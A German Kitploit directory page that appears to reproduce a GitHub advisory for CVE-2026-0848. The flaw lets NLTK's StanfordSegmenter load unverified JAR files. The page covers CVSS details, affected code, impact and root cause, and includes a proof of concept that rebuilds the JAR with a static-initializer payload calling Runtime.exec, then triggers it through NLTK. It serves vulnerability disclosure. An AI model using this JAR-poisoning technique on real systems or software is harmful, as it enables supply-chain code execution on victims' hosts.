Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-0848 — nltk.tokenize.StanfordSegmenter lädt dynamisch externe Java-.jar-Dateien ohne Verifizierung oder Sandboxing. Wenn ein Angreifer die JAR-Datei bereitstellen oder ersetzen kann (z. B. durch einen vergifteten Modell-Download, einen MITM-Pakettausch oder eine Abhängigkeitsvergiftung), wird beim Import beliebiger Java-Bytecode ausgeführt. | Kitploit
Tools/GitHubGitHub/hyperps/cve-2026-0848
SchwachstellenanalyseCode-AnalyseExploitationLieferkettensicherheitPapers & ForschungLernen & Bildung
GitHubhyperps/cve-2026-0848

CVE-2026-0848

Repository anzeigen
12vor 6 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →

Über

nltk.tokenize.StanfordSegmenter lädt dynamisch externe Java-.jar-Dateien ohne Verifizierung oder Sandboxing. Wenn ein Angreifer die JAR-Datei bereitstellen oder ersetzen kann (z. B. durch einen vergifteten Modell-Download, einen MITM-Pakettausch oder eine Abhängigkeitsvergiftung), wird beim Import beliebiger Java-Bytecode ausgeführt.

Teilen

CVE-2026-0848 — NLTK StanfordSegmenter: Beliebige Codeausführung durch Laden nicht vertrauenswürdiger JAR-Dateien


Übersicht

FeldDetails
CVE-IDCVE-2026-0848
Paketnltk (Natural Language Toolkit)
RegistryPyPI
Betroffene Versionen<= 3.9.2
SchwachstellentypCWE-20: Unzureichende Eingabevalidierung
CVSS-Score10.0 (Kritisch)
AngriffsvektorNetzwerk
AngriffskomplexitätNiedrig
Erforderliche PrivilegienKeine
BenutzerinteraktionKeine
AuswirkungsumfangGeändert
VertraulichkeitsauswirkungHoch
IntegritätsauswirkungHoch
VerfügbarkeitsauswirkungHoch
Gemeldet am6. Dezember 2025
CVE veröffentlichtMärz 2026
Unterstützt durchPalo Alto Networks / Prisma AIRS

Beschreibung

nltk.tokenize.StanfordSegmenter lädt über subprocess dynamisch externe Java-.jar-Dateien, ohne eine Integritätsprüfung, Signaturprüfung oder Sandboxing durchzuführen. Die Klasse akzeptiert vollständig angreiferkontrollierte Parameter wie path_to_jar, path_to_model, path_to_dict und java_class und übergibt sie direkt an einen java -cp-Aufruf.

Wenn ein Angreifer die JAR-Datei bereitstellen oder ersetzen kann – etwa durch ein vergiftetes Modell-Download, einen Man-in-the-Middle-Pakettausch, eine Abhängigkeitsvergiftung oder einen manipulierten Release-Mirror – wird beim Klassenladen beliebiger Java-Bytecode über den statischen Initialisierungsmechanismus der JVM ausgeführt. Dies stellt eine Remote-Code-Ausführung in der Lieferkette dar und umgeht die Python-Laufzeitumgebung vollständig.


Betroffene Komponenten

DateiZeilenBeschreibung
nltk/tokenize/stanford_segmenter.pyL53–L118Akzeptiert angreiferkontrollierte path_to_jar, path_to_model, path_to_dict und java_class ohne Validierung
nltk/internals.pyL220–L300Startet die Java-Ausführung direkt mit benutzerkontrolliertem JAR-Pfad und Classpath, ohne Sandbox oder Prüfsummenverifizierung
nltk/internals.pyL109–L152subprocess.Popen() führt Java mit nicht validierter Classpath-Eingabe aus, wodurch die JVM beliebigen Bytecode laden und statische Initialisierer ausführen kann

CVSS-Vektor

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
MetrikWert
AngriffsvektorNetzwerk
AngriffskomplexitätNiedrig
Erforderliche PrivilegienKeine
BenutzerinteraktionKeine
AuswirkungsumfangGeändert
VertraulichkeitHoch
IntegritätHoch
VerfügbarkeitHoch

Auswirkungen

Eine erfolgreiche Ausnutzung verschafft einem Angreifer die vollständige Kontrolle über das System, auf dem der NLTK-Segmentierungsprozess ausgeführt wird:

  • Beliebige Java-Codeausführung — Jeder in der bösartigen JAR enthaltene Bytecode wird mit den Rechten des Python/Java-Prozesses ausgeführt
  • Ausbruch aus der Python-Laufzeitumgebung — Die Ausführung wechselt in die JVM und umgeht damit jegliches Python-Sandboxing vollständig
  • Kommandoausführung auf Betriebssystemebene — Angreifer können Runtime.getRuntime().exec() oder ProcessBuilder aufrufen, um beliebige Shell-Befehle auszuführen
  • Datendiebstahl und -manipulation — Zugriff auf alle Dateien, Umgebungsvariablen, API-Schlüssel und Geheimnisse, die für den Prozess lesbar sind
  • Vollständige Kompromittierung der Umgebung — In CI/CD-Pipelines, Produktions-NLP-Pipelines oder Serverumgebungen führt eine einzige bösartige JAR-Datei zur vollständigen Übernahme des Hosts

Hochriskante Einsatzszenarien

SzenarioAuswirkung
ML-Forscher lädt ein vortrainiertes Segmentierungsmodell aus dem InternetRemote-Angreifer erlangt Codeausführung
Organisation lädt ein manipuliertes ZIP-Modell für die chinesische Segmentierung herunterSchadsoftware wird in der Produktions-NLP-Pipeline ausgeführt
CI/CD-Server installiert ein Modell über wget/unzip von einem Nicht-HTTPS-MirrorVollständige Kompromittierung der Umgebung
Übernahme einer Abhängigkeit oder vergifteter Release-MirrorVollständige Supply-Chain-RCE

Diese Schwachstelle betrifft jeden NLP-Workflow, der StanfordSegmenter verwendet, einschließlich Chatbots, LLM-Vorverarbeitungspipelines, Datensatzsegmentierung, Dokumentklassifizierung und Produktions-Inferenzdiensten.


Proof of Concept

Diese Informationen dienen ausschließlich Bildungs- und Verteidigungszwecken. Testen Sie keine Systeme, die Ihnen nicht gehören oder für die Sie keine ausdrückliche Genehmigung haben.

Schritt 1 — Kernklassifikator durch bösartige Java-Klasse ersetzen

cd stanford-segmenter-2020-11-17/merged
jar xf ../stanford-segmenter-4.2.0.jar
rm -rf edu/stanford/nlp/ie/crf/CRFClassifier.class

cat << 'EOF' > edu/stanford/nlp/ie/crf/CRFClassifier.java
package edu.stanford.nlp.ie.crf;

public class CRFClassifier {
    static {
        try {
            System.out.println("\nPayload executed — Code ran on class load!\n");
            Runtime.getRuntime().exec("touch /tmp/pwned_hijack");
        } catch(Exception e){}
    }
    public static void main(String[] args){}
}
EOF

javac edu/stanford/nlp/ie/crf/CRFClassifier.java
jar cfm exploit.jar META-INF/MANIFEST.MF *
cp exploit.jar ../stanford-segmenter.jar

Schritt 2 — Die bösartige JAR-Datei erstellen

mkdir merged && cd merged
javac Payload.java
jar xf ../stanford-segmenter-4.2.0.jar
jar xf ../stanford-corenlp-4.2.0/stanford-corenlp-4.2.0.jar
jar cfm exploit.jar META-INF/MANIFEST.MF *
jar uf exploit.jar Payload.class
cp exploit.jar ../stanford-segmenter.jar
cd ..

Schritt 3 — Über NLTK auslösen

# test.py
from nltk.tokenize.stanford_segmenter import StanfordSegmenter

print("[+] Triggering payload via modified Stanford JAR...")

seg = StanfordSegmenter(
    path_to_jar="stanford-segmenter.jar",
    path_to_sihan_corpora_dict="./data/",
    path_to_dict="./data/dict-chris6.ser.gz",
    path_to_model="./data/pku.gz",
    java_class="edu.stanford.nlp.ie.crf.CRFClassifier",
    encoding="utf-8"
)

print("[+] Running segmentation...")
print(seg.segment("我爱自然语言处理"))

Ausgabe:

[+] Triggering payload via modified Stanford JAR...

Payload executed — Code ran on class load!

[+] Running segmentation...
我 爱 自然语言 处理

RCE bestätigen:

ls /tmp | grep pwned_hijack
# pwned_hijack

Grundursache

Die Schwachstelle ist in zwei Dateien vorhanden:

stanford_segmenter.py — Der Konstruktor der Klasse StanfordSegmenter akzeptiert path_to_jar, path_to_model, path_to_dict und java_class als einfache Zeichenkettenargumente und leitet sie direkt an die Java-Ausführungsebene weiter, ohne eine der folgenden Prüfungen durchzuführen:

  • Pfad-Allowlist oder Durchsetzung vertrauenswürdiger Verzeichnisse
  • SHA-256- oder kryptografische Signaturprüfung der JAR-Datei
  • Validierung des Parameters java_class anhand einer bekannten, sicheren Menge von Klassennamen
Tool herunterladen